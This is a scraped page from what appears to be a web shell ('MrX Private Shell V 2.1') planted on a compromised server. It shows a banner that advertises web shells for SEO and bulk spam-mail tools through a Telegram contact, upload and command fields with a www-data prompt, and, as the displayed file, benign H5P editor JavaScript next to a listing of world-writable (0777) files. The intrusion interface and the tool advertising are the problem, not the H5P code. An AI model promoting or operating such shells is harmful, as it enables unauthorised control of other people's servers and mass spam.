__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/**
 * Creates a widget to add author information to a form
 *
 * @param {object} semantics
 * @param {object} params
 * @param {object} group
 * @param {mixed} parent used in processSemanticsChunk()
 * @returns {ns.Coordinates}
 */
H5PEditor.metadataAuthorWidget = function (semantics, params, $wrapper, parent) {
  if (!params.authors) {
    params.authors = [];
  }

  const $ = H5PEditor.$;

  const widget = $('<div class="field h5p-metadata-author-widget"></div>');

  var $authorData = $('<div class="h5p-author-data"></div>');
  widget.append($authorData);

  H5PEditor.processSemanticsChunk(semantics, {}, $authorData, parent);

  // Get references to the fields
  var nameField = H5PEditor.findField('name', parent);
  var roleField = H5PEditor.findField('role', parent);

  var $button = $('<div class="field authorList">' +
    '<button type="button" class="h5p-metadata-button inverted h5p-save-author">' +
      H5PEditor.t('core', 'addAuthor') +
    '</button>' +
  '</div>').children('button').click(function (event) {

    // Temporarily set name as mandatory to get the error messages only when
    // clicking the Add Author button
    nameField.field.optional = false;
    var name = nameField.validate();
    nameField.field.optional = true;
    var role = roleField.validate();

    if (!name) {
      return;
    }

    // Don't add author if already in list with the same role
    const authorDuplicate = params.authors.some(function (author) {
      return author.name === name && author.role === role;
    });
    if (authorDuplicate) {
      resetForm();
      return;
    }

    addAuthor(name, role);
  }).end();
  $authorData.append($button);

  var authorListWrapper = $('<div class="h5p-author-list-wrapper"><ul class="h5p-author-list"></ul></div>');
  widget.append(authorListWrapper);
  renderAuthorList();

  widget.appendTo($wrapper);

  /**
   * Add an author to the list of authors
   * @param {string} [name]
   * @param {string} [role]
   */
  function addAuthor(name, role) {
    params.authors.push({
      name: name,
      role: role
    });

    renderAuthorList();
    resetForm();
  }

  /**
   * Add default/current author to list of authors
   *
   * @param {string} fallbackName Name to fallback to if there is no valid name chosen already
   * @param {string} fallbackRole Role to fallback to if there is no valid role chosen already
   */
  function addDefaultAuthor(fallbackName, fallbackRole) {
    var name = nameField.validate();

    if (!name) {
      name = fallbackName;
    }

    var role = roleField.validate();

    if (!role) {
      role = fallbackRole;
    }

    addAuthor(name, role);
  }

  /**
   * Resets the form
   */
  function resetForm() {
    nameField.$input.val('');
  }

  /**
   * Remove author from list.
   *
   * @param {object} author - Author to be removed.
   * @param {string} author.name - Author name.
   * @param {string} author.role - Author role.
   */
  function removeAuthor(author) {
    params.authors = params.authors.filter(function (e) {
      return (e !== author);
    });

    renderAuthorList();
  }

  function renderAuthorList() {
    var wrapper = widget.find('.h5p-author-list-wrapper');
    wrapper.empty();

    const authorList = $('<ul></ul>');
    params.authors.forEach(function (author) {
      // Name and role
      var listItem = $('<li>', {
        html: H5PEditor.htmlspecialchars(author.name),
        append: $('<span>', {
          'class': 'h5p-metadata-role',
          html: author.role
        })
      });

      // The delete-button
      $('<button>', {
        type: 'button',
        'class': 'h5p-metadata-icon-button',
        click: function () {
          if (confirm(H5PEditor.t('core', 'confirmRemoveAuthor'))) {
            removeAuthor(author);
          }
        }
      }).appendTo(listItem);

      authorList.append(listItem);
    });

    wrapper.append(authorList);
  }

  return {
    addAuthor: addAuthor,
    addDefaultAuthor: addDefaultAuthor
  };
};

Filemanager

Name Type Size Permission Actions
h5p-hub-client.js File 331.61 KB 0777
h5peditor-av.js File 21.51 KB 0777
h5peditor-boolean.js File 1.99 KB 0777
h5peditor-coordinates.js File 5.1 KB 0777
h5peditor-dimensions.js File 4.26 KB 0777
h5peditor-editor.js File 18.25 KB 0777
h5peditor-file-uploader.js File 3.69 KB 0777
h5peditor-file.js File 8.54 KB 0777
h5peditor-form.js File 14 KB 0777
h5peditor-fullscreen-bar.js File 2.7 KB 0777
h5peditor-group.js File 10.74 KB 0777
h5peditor-html.js File 20.01 KB 0777
h5peditor-image-popup.js File 13.91 KB 0777
h5peditor-image.js File 8.1 KB 0777
h5peditor-init.js File 3.72 KB 0777
h5peditor-library-list-cache.js File 3.38 KB 0777
h5peditor-library-selector.js File 9.97 KB 0777
h5peditor-library.js File 16.98 KB 0777
h5peditor-list-editor.js File 24.34 KB 0777
h5peditor-list.js File 11.15 KB 0777
h5peditor-metadata-author-widget.js File 3.91 KB 0777
h5peditor-metadata-changelog-widget.js File 7.5 KB 0777
h5peditor-metadata.js File 14.66 KB 0777
h5peditor-none.js File 918 B 0777
h5peditor-number.js File 4.79 KB 0777
h5peditor-pre-save.js File 3.62 KB 0777
h5peditor-select.js File 3.24 KB 0777
h5peditor-selector-hub.js File 7.76 KB 0777
h5peditor-selector-legacy.js File 3.11 KB 0777
h5peditor-semantic-structure.js File 7.39 KB 0777
h5peditor-text.js File 3.15 KB 0777
h5peditor-textarea.js File 2.68 KB 0777
h5peditor.js File 53.63 KB 0777
Filemanager